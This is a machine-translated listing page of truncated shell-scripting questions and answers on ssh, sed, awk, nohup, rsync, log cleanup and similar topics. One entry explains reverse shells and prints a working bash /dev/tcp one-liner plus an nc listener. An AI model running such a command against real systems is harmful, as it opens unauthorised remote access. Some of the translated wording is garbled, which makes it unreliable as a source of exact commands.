带命令的ssh…加上shell

我想要一个命令,ssh’s进入机器,运行命令(cd或执行脚本或su),然后给我shell。向ssh传递命令似乎总是退出 我正在寻找的一些例子: “嘘me@machine1“/executeMyScript&&cd/developmentDirectory”,然后它返回shell 我想这样做的原因是因为我使用了mrxvt(选项卡式x术语),它允许我为启动时执行的所有选项卡定义命令。我希望有一些ssh连接到同一台机器,但让他们在sshing后做不同的事情 -抢劫 谢谢 怎么样 ssh me@

使用apple的Automator将文件名传递给shell脚本

我有一个自动程序脚本,我想在文件夹上运行。我希望脚本获取文件夹中的每个文件并对其运行shell命令。Automator设置为将输入传递给标准输入,但我认为我在下面没有正确使用标准输入,您能帮忙吗 for f in "$@" do java -Xmx1000m -jar /Users/myprog/myprog.jar $f done 特殊变量$@表示提供给脚本的所有命令行参数 for循环逐步遍历每一个,并每次执行jar文件。您可以将脚本缩短为: for f do java

Shell 在破折号中设置文件名选项卡完成,不区分大小写

我正在使用破折号外壳文件名选项卡完成功能来完成文件名。但是破折号中的默认选项卡完成区分大小写。如何强制破折号中的文件名选项卡完成不区分大小写 在bash中,我可以将“set completion ignore case on”添加到/etc/inputrc中,但它在dash中不起作用。有什么建议吗?dash的哪个版本和操作系统?我的没有完成。你是不是碰巧使用了rlwrap?@Dennis Williamson:Ubuntu 10.04I在文档或源代码中找不到任何关于dash中文件名完成的参考,除

Shell “产出”;sed";命令到变量

我正在Ubuntu上编写一个shell脚本,并使用 sed命令来替换所有出现的tore 使用换行符\n sed 's/TOREPLACE/\n/g' /home/user/source.txt 这很好,但我真正想做的是 要将上面的输出分配给变量,请执行以下操作: TTT=$(sed 's/TOREPLACE/\n/g' /home/user/source.txt) echo $TTT echo$TTT未提供预期的输出。。。当我试图替换 t使用其他字符串替换,一切正常 当我将sed重定向到一个

Shell Unix连接两个文件上的多个字段

我有两个文件 cat test1.txt 1|2|3|4 2|3|4|4 3|4|5|5 cat test2.txt 1|2|4|5 2|3|5|6 3|5|7|7 我的输出应该是 1|2|3|4|4|5 2|3|4|4|5|6 这就像将字段1和2上的两个文件连接起来,然后从文件1和文件2获取值1,2,3,4 请帮我做这件事?试着用perl paste -d '|' file1.txt file2.txt | perl -F'\|' -lane ' pri

Shell通过Args删除文件扩展名

我希望通过将扩展名类型作为参数来删除文件夹中的文件扩展名 下面是我的代码,它没有像我预期的那样工作 if [ $# -ne 1 ] then echo -e "\nUsage: $0 Ext" echo -e "\nExt - Refers to the extension you want to remove" echo -e "\nExample1: $0 .txt\nExample2: $0 .doc\nExample3: $0 .pdf\n" exit 1 fi

unixshell脚本中的浮点算法

如何在shell脚本中使用浮点数(如1.503923)进行算术?浮点数作为字符串从文件中提取。文件格式如下: 1.5493482,3.49384,33.284732,23.043852,2.2384... 3.384,3.282342,23.043852,2.23284,8.39283... . . . 这里是一些简化的示例代码,我需要开始工作。一切都符合算术。我从文件中提取一行,然后从该行中提取多个值。我认为这将减少搜索处理时间,因为这些文件是巨大的 # set vars, loops et

美元是什么?在shell if语句中是什么意思?

以下语句在shell脚本中的含义是什么 if ($?REGRESS) then .... endif 给定函数从何处获取输入?这是我无法理解的旧脚本的一部分。$?是一个特殊变量。它存储最后一个命令的退出状态。如果最后一个命令成功运行,则它将为0,其他值表示失败 从csh手册页: $?name ${?name} Substitutes the string `1' if name is set, `0' if it is not. 但是,停止使用csh(未来读者可能会因为某种原因错过使

Shell 外壳供应器的流浪抑制非零出口状态

我在《流浪汉》里有一个剧本供应员。我的盒子是64位精确的。我的脚本的相关行如下所示: sudo bash -c 'echo "deb https://oss.oracle.com/debian/ unstable main non-free" >/etc/apt/sources.list.d/oracle.list' wget -q https://oss.oracle.com/el4/RPM-GPG-KEY-oracle -O- | sudo apt-key add - sudo ap

Shell Nohup命令运行脚本并立即获得下一个脚本的控制权

我使用了nohup命令并从后台执行了一个unixshell脚本,但是我想在上一个shell脚本完成之前立即执行下一个命令,我不想等到shell脚本完成 有没有办法,我试过用nohup,但我得到了这个: nohup:将输出附加到'nohup.out' 无法获得运行下一个命令的控件。有没有办法在调用shell脚本并让它在后台运行后立即退出,在不使用CTRL+C或强制关机的情况下执行下一个命令 我使用了下面的命令,但是 $nohup sh dataload.sh& [1] 14472 $noh

Shell 如何在cvsCheckout命令中硬编码密码?

我是cvs存储库的远程用户,我的CVSROOT是 :ext:aa81000@cvs.qintra.com:/opt/scm/cvs/home/repository 当运行cvsCheckout命令时,它会在运行时提示输入密码。我的要求是每天编写一个shell脚本进行签出,因此当我在shell脚本中使用cvsCheckout命令时,它会提示输入密码。有人能告诉我如何在编译时输入cvsCheckout的密码吗?我指的是在shell脚本中。 请提供帮助您是否尝试过cvs登录?许多cvs选项都要求

如何在shell脚本中自动保存终端输出

我想知道是否有可能在shell脚本在终端中运行时将其输出保存到文件中。例如,假设我正在使用命令javacfoo.java编译一个java程序。如何将该特定命令(错误等)的所有输出保存到一个文件中以供将来参考,而不必在每次运行该命令后点击command-s并选择save and replace 使用javac foo.java>output.txt将命令的输出捕获到文件output.txt 但是,这将在编译模块时对您隐藏所有输出 如果您希望在终端中查看构建的输出,同时将输出捕获到文件output.

Shell 使用Jenkins监视主机/端口

我目前正在尝试监视主机/端口是否打开(这是一个Informix DB,但我认为这与此无关)。 我尝试了几种方法,其主要思想是使用nmap,然后使用grep输出,其中将包含open或closed 脚本在本地工作,但在Jenkins上不工作——我不确定确切原因: #!/bin/sh set -e nmapOutput=$(nmap -PN -p 20007 193.230.133.49); echo $nmapOutput | grep closed 1>/dev/null if [

Shell脚本:执行一个长行

我正在编写一个shell脚本,它在一个curl命令的末尾运行,发布一个json数据。这个数据太长,在运行脚本时,它无法运行完整的命令!我试图拆分行,但json数据中出现错误 注意:我正在使用嵌入式linux你能把你的JSON数据写入一个文件并调用curl吗 curl "$URL" --header 'Content-Type:application/json' --data @data.json 显示curl command.curl-header'Content Type:applicati

Shell 使用UNIX在终端窗口中的固定位置打印值

我正在运行一个shell脚本,它生成以下输出 Built-By : apache Created-By : Apache Maven Implementation-Title : testApp Implementation-Vendor-Id : com.test.app Implementation-Version : testBox Manifest-Version : 1.0 appname : TestStar build-date : 02-03-2014-13 : 4

如何使用shell脚本进行排序

我似乎不能把事情安排成这样 输出应该是这样的: All About Ubuntu:Ubuntu Team:76.00:55:133 Catch Me If You Can:Mary Ann:23.60:6:2 Happy Day:Mary Ann:12.99:197:101 为什么不直接排序-t:-n-k4-r文件呢?考虑到你想在第四列进行排序,等等,这对我来说很有效。我正在使用gedit。似乎无法对数量进行排序sold@fedorqui还有其他方法吗?@fedorqui让我们说,如果我想删除

Shell 使用换行分隔符提取数据包

我在unix中有下面的文件“Main.cap”- 如果我想从特定IP捕获所有数据包,比如:1.1.1.1提供所有数据包的大小都不相同 Device:A Host:B IP:0.0.0.0 Time:123654 Location:India Device:B Host:C IP:1.1.1.1 Time:125423 Device:C Host:D IP:1.1.1.1 Time:129423 Device:E Host:F IP:1.1.1.1 Time:125423 Locati

无法运行unix shell脚本

获取错误:否则我无法运行上述代码 #!/bin/ksh echo -n "enter the 1 to convert lower to upper or 2 convert upper to lower" read n echo -in_str "Enter the string here" read in_str echo $n echo $in_str if [ $n -eq 1 ] then $ echo $

Shell命令查找服务器上的所有MX记录

是否有一个可以从shell运行的命令允许我查看服务器上的所有MX记录 我们有一个专用服务器,上面有cPanel。默认情况下,所有路由设置都设置为“自动”。这非常有效,直到我们有一家拥有自定义MX记录的公司进入指向不同IP地址的子域。在这种情况下,cPanel将路由设置保持为本地,而它应该是远程的 我需要一种方法来快速查看服务器上的所有MX记录(我们有600多个站点),并查看哪些记录不会进入default DOMAIN.com,以便我可以验证所有这些记录是否与/etc/remotedomains文

Shell 如何让rlwrap在Emacs内部工作';壳牌/埃塞尔?

当我试图让rlwrap在Emacs(版本24.3.50.1)shell缓冲区(无论是M-x shell还是M-x eshell)内工作时,我收到以下错误消息: 哦,崩溃了(抓住了SIGFPE)-这不应该发生 例如: rlwrap telnet google.com 80 从常规终端(如xterm)可以正常工作,但从Emacs缓冲区内的shell崩溃 有几个人也有类似的问题,但到目前为止,我能找到的唯一“答案”是邮件列表上的“RTFM”式答案。我确实读过Emacs文档中的那部分内容,但我不明白

Shell 如何理解${CONFIG+;x}中的x

代码如下: if [ -z ${CONFIG+x} ]; then CONFIG=/usr/local/etc/config.ini else CONFIG=$(realpath $CONFIG) fi 有人能告诉我“x”到底是什么意思吗?这意味着如果设置了变量$CONFIG,则使用值x,否则使用空字符串 测试-z检查以下参数是否为空,因此如果未设置$CONFIG,则将执行if分支 测试它(使用以前未设置的$a): 这是为POSIX外壳定义的特性之一。最简单的是一个被替换的变量,${param

如何在shell脚本中重复该过程

您好,我是shell脚本新手。在我的shell脚本中,我想重复这个过程 script.sh echo "Enter the city name" read cityname echo "Enter the state name" read statename pig -x mapreduce mb_property_table_updated.pig city=$cityname state=$statename echo "Do you want to run for another city

Shell 通过算术运算修改文件中的浮点数(正数和负数)

我有一个如下所列的文件: -180.0564 -179.0857 178.4739 我需要查看整个文件,只更改正(或负)值减去一个整数,比如100或360。 我在web上开发了这段代码,并使用bc命令执行浮动操作 问题是现在所有的负值都在改变,而不是正值,我不明白为什么 代码如下: #!/bin/bash FILE=$1 while read line;do if [ $(echo $line '>' 0.0 |bc -l) ]; then line=$(echo "$

必须使用while循环时的Shell脚本

我刚开始学习shell脚本。 Shell脚本时,我必须使用while循环? while循环的定义是什么 你能给我一些明确的信息吗 多谢 如果要处理直到满足条件,则必须使用while循环。 在下面的代码中,我们运行循环直到c小于5,我们不知道循环将运行多长时间?这是不可预测的,但它必须运行,直到我们达到我们的标准 #!/bin/bash c=1 while [ $c -le 5 ] do echo "Welcone $c times" (( c++ )) done 如果您知道必须

Shell 从远程服务器到本地的rsync文件,并创建本地目录

我有一个服务器,它在/files/category/specific/*上有文件 在我的本地计算机上,我有一个~/files目录。我想做的是把/files/category/specific/*拉到我本地的~/files/something/whatever。但是something/whatever不存在,我希望rsync也创建这些本地目录 如何使用rsync实现这一点?试试以下方法: rsync -a --relative user@remote:/files/category/specifi

用于从目录中删除3天以前的日志的shell脚本

由于我在unix环境中工作,因此我有一个由我的应用程序在以下位置创建的日志,即 /opt/app/glac/current/servers/ops/log 在日志目录中,创建了不同类型的日志(即extesion as.log文件),您是否可以建议我编写一个shell脚本,该脚本将询问用户天数,这样如果用户输入值3,那么它将删除所有3天以前的日志,假设日期为2015年12月19日,如果用户输入值为3,则将删除包括12月16日在内的日志,并且仅保留17、18和19日的日志 请告知实现此目的的she

Shell 什么是反向外壳?

有人能深入解释一下什么是反向shell,在什么情况下我们应该使用它吗? 我发现这是关于同样的,什么是含义: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 它是由目标引入的(n个不安全的)远程shell。这与源代码引入的“普通”远程shell相反 让我们用localhost来代替10.0.0.1: 在终端中打开两个选项卡 打开TCP端口8080并等待连接: nc localhost -lp 8080 nc本地主机-LP8080 打开

Shell 在HP-UX(Unix)上使用带引号或特殊字符的别名

在HP-UX中,我尝试执行以下操作: $ alias awkFirst="awk -F',' '{print $1}'" 但这并不是成功的,而是回报: ksh:1:未设置参数 我不明白ksh和这有什么关系 此外,我试图在脚本中声明上述别名(以#!/bin/sh开头),但仍然失败,ksh的错误响应与此相同。我想我找到了解决方案:$alias awkFirst=“awk-F'\,“{print\$1}”,如果不包含一些标签,如shell,几乎没有人能帮上忙。

如何在expect脚本中从shell脚本获取返回值

在expect脚本中,我执行ssh并调用一个返回值的bash脚本。如何在expect脚本中获取shell脚本的返回值?Wait将返回Spawn的状态,但我需要shell脚本的retrun值。提前谢谢 #!/usr/bin/expect proc auto { } { global argv set timeout 120 set ip XXXX.XXX.XX.XX set user name set password pass se

解释括号grep中的shell变量

我有这样的命令: grep ABC /tmp/dir{1,3,7}/file*.txt 它工作得非常好,但我需要使用如下文件名提取常量: FILENAME="/tmp/dir{1,3,7}/file*.txt" grep ABC $FILENAME 由于大括号的原因,这不起作用。 我该怎么做呢?这是一种可能有用且希望安全的情况: eval grep ABC "$FILENAME" 试验 但是如果我们存储在一个变量中,它会得到文本 $ f=a{1..3} $ echo $f a{1..3}

Shell 如何编写脚本以创建makefile

我是新年,我需要一些答案。我在网上搜索了一些答案,但没有找到任何有用的。我正在搜索的是一个shell程序,当您执行它时,它会创建一个具有二进制名称的Makefile,参数如下: ./automakefile.sh您好 将为您构建一个名为hello的二进制文件 我希望你们能帮助我,我指望你们,不幸的是,没有这样的魔法命令。如果有,我们就不需要使用makefile,因为这种魔力很可能已经包含在编译器中 没有这样的命令有几个原因 给定一个随机的二进制文件,您通常无法说出它是用什么编程语言编写的 您也无

Shell 为什么awk的结果似乎不起作用

我有一个测试数据文件,如下所示 PAT1 3 - first block 4 PAT2 PAT3 7 - second block PAT4 PAT5 10 - third block PAT6 PAT7 12 - forth block 我相信awk代码的语法在shell脚本中是错误的。我试图阅读该页面,但无法快速找出shell脚本中的awk代码的错误。awk看到的是文本$Data和$Data2,而不是插值。对于这种情况,您可以(可能)使用双引号: awk "/$Da

Shell 如何grep和复制名称中带有空格的文件

我有一些文件的名字里有空格。我想选取包含特定文本的所有文件,并将这些文件复制到另一个目录。我可以使用grep来完成第一部分,但无法将文件名列表输送到cpcp始终根据空格对文件名进行切片。我试过xargs--null,但这对我没有好处。任何实用的解决方案?对grep和xargs使用--null选项: grep --null --files-with-matches 'word' * | xargs --null cp -t "$target_dir" --null选项使命令以零字节而不是换行符终

如何使用Jenkins中的executeshell命令传递可能具有不同名称的文件

我有一份Jenkins的工作,我想使用shell从目录中读取一个文件,并在ant test步骤中传递该文件 假设我要读取的文件是/home/xxx/y.txt。文件名始终会更改,但在该目录的任何给定点上,只有一个扩展名为.txt的文件 因此,我试图在“Execute Shell”构建操作中将该文件作为ant-Dfile=/home/xxx/*.txt传递,但该构建“无法读取该文件”。Shell不会将-Dfile=/home/xxx/*.txt扩展为-Dfile=/home/xxx/y.txt,因

Shell Unix计数需要多个文件夹

我在unix服务器上有一个目录 cd /home/client/files 它有多个客户端文件夹,如下所示 cd /home/client/files/ibm cd /home/client/files/aol cd /home/client/files/citi 它们都会向我们发送一个以小写或大写开头的文件,如下所示: pre-ibm-03222017 PRE-aol-170322 收到文件后,我们将对其进行处理,并将pre转换为pro,如下所示: pro-ibm-03222017 PR

有没有办法找出所有shell脚本在unix中失败的原因?

因此,目前我正在寻找一种解决方案,它将为我提供所有失败的unixshell脚本的输出。因此,根据我的理解,我们可以检查最后一个命令是否成功,但我们是否有任何东西可以给我一个在服务器级别中止的shell脚本列表 谢谢我不太明白这个问题:对于每个碰巧由任何用户在主机上执行的shell脚本,您想记录哪些脚本具有非零退出代码??????您必须用自己的版本(基本上是原始版本的包装器)替换/usr/bin中的bash、zsh、ksh等,这将记录退出代码,即使这样也不能保证用户在本地安装自己的shell。说到

如何在Jenkins Groovy中的多行shell脚本中同时使用Groovy定义的和OS系统变量

我需要在Jenkins的多行shell脚本中访问Groovy定义的变量(例如var1)。我需要在sh中使用双引号“” 但我也需要读取和更改os系统变量(例如aws_api_key)。它需要在sh中使用单引号“”,并使用\来转义美元符号。(我参考) 我怎样才能同时使用它们?任何帮助都将不胜感激 e、 g 结果是: + echo the groovy data var1 is ,${var1},,,var1!!! the groovy data var1 is ,${var1},,,var1!!!

Shell 删除'的输出;查找';命令失败

我目前正在编写一个脚本,它将搜索特定程序名的路径,然后输出该程序的所有路径(可能有多个可执行文件)。 我想到的是查找$path-name programName。给定测试输入,虽然它确实生成正确的输出,但对于路径中没有程序的目录,它也不会输出这样的文件或目录行。有没有办法把它去掉 谢谢 编辑:此脚本旨在模拟“which-a”命令,如果有帮助,请尝试: find "$path" -name programName -type f 2>/dev/null 尝试: 我建议您使用以下命令,因为您

Shell脚本:获取日期作为变量

我正在尝试创建一个快速脚本,它将从备份文件夹中获取一个文件。备份文件每天生成,文件名格式为: backup-sql-YYYYMMDD.zip 我正在尝试使用以下方法获取文件名: #!/bin/sh VAR_1="backup-sql-" VAR_2=date +%Y%m%d VAR_3=$VAR_1$VAR_2 echo "$VAR_3" 然而,结果是: 备份sql- 当我跑步时: date +%Y%m%d 我明白了 所以我不知道为什么会这样。请有人帮助我:)您应该使用backticks

Shell 连接到远程Linux服务器并下载映像

我有一个托管在Azure中的VM Linux服务器,每次提交(VST)时,最新的映像都需要在服务器中运行 我创建了一个ssh文件,用于清理旧映像和容器,登录Azure存储库,下载最新映像,然后运行映像 编辑:在某种程度上它是有效的,但我得到了几个错误,如: 2018-07-10T13:40:20.5189780Z ##[error]WARNING! Using --password via the CLI is insecure. Use --password-stdin. 2018-07-10

使用Shell脚本在HBase中删除多行

我需要一个shell脚本,它根据行键删除多个HBase行 我尝试使用行键删除HBase表中的多行。但是,我使用的脚本是每次登录到HBase shell时逐个删除行 #!/bin/bash declare -a rowkeys=("1" "2") table="ns:my_table" echo $table for rowkey in "${rowkeys[@]}" do echo -e "deleteall '$table' , '$rowkey' " | hbase shell done

Shell 标识包含特定关键字的所有文件或文件夹

使用脚本需要标识给定路径下包含特定关键字的所有文件或文件夹。该路径将有多个文件夹。 下面是使用的脚本 #!/bin/sh DIR='' for FILE in ls "$DIR"* do # echo $FILE grep -l $FILE "*FY*" done ~ 您必须在要搜索的路径之前给出“关键字”。这在你的剧本中不是这样的 grep -l -r "keyword" path/to/folder

Shell 测试涉及管道的命令是否成功

测试df和awk命令在以下命令中是否成功的最佳方法是什么?使用Solaris df-h/myloc*|awk'{if($5>80)print$6}>somelog一种简单的方法是将它们拆分,以便存储第一个输出并检查两个退出状态的连接: if OUT1=$(df -h /myloc*) && echo ${OUT1} | awk '{ if ( $5 > 80 ) print $6}' > somelog; then echo "success" else e

从shell脚本配置一个驱动器

我想使用shell脚本将rclone配置为使用OneDrive。我想要的唯一用户交互是身份验证。目前,我正在使用命令行: $ rclone config create MyOneDrive onedrive --onedrive-drive-type business 但是,当我想列出驱动器内容时,出现了错误: $ rclone ls MyOneDrive: 2020/02/24 22:28:21 Failed to create file system for "MyOneDrive:":

Shell 如何使用awk命令从多个文件中查找并删除正文中包含某些字符串的文件?

我在文件目录记录中有多个文件: Record 1.txt 2.txt 3.txt 文件2.txt在第一行的第二列中包含一个字符串abcd。如何打印2.txt中的所有内容? 如何删除文件2.txt 我使用awk打印该文件中的所有内容,但它只打印该行 我使用find命令将文件名存储在file.txt文件夹中,但它给了我一个错误 rm -rf Record mkdir Record cd Record echo f1 touch 1.txt echo author: efg &

我需要将所有值转换为数字,但标题除外。我可以在shell脚本中执行此操作吗?

我不熟悉shell脚本。我需要将字符串中的值转换为整数,以便从csv文件计算下面提到的各个列的总和 列看起来像: “喜欢”,“不喜欢” "61","110" 120,70 我尝试过使用awk-F',“{sum+=1}END{print sum}” 但这并没有给我期望的结果,因为有些值是字符串。如何在添加这些值之前将其转换为整数?如果您确定引号“仅与数字结合使用,则简单的 more file.csv | tr '"' ' ' > fixed.csv 我应该做这项工作 如果第一行

Shell 在分配任务时,我无法获得所需的输出*

将*赋值给变量,然后在shell中用字符串将其包含,我无法获得所需的输出。。 chr函数将int转换为char 42=* 作业做得很好,但是 echo $m 将参数公开给全局展开。您需要使用引号: echo "$m" echo*不同于echo'*',正如echo$m不同于echo“$m”@Avis TnM-如果没有chr@Armali的定义,上述代码是无法运行的,它可能是chr(){printf'\x$(printf''x'$1);}--打印具有给定小数点的ASCII字符

上一页   1   2    3   4   5   6  ... 下一页 最后一页 共 437 页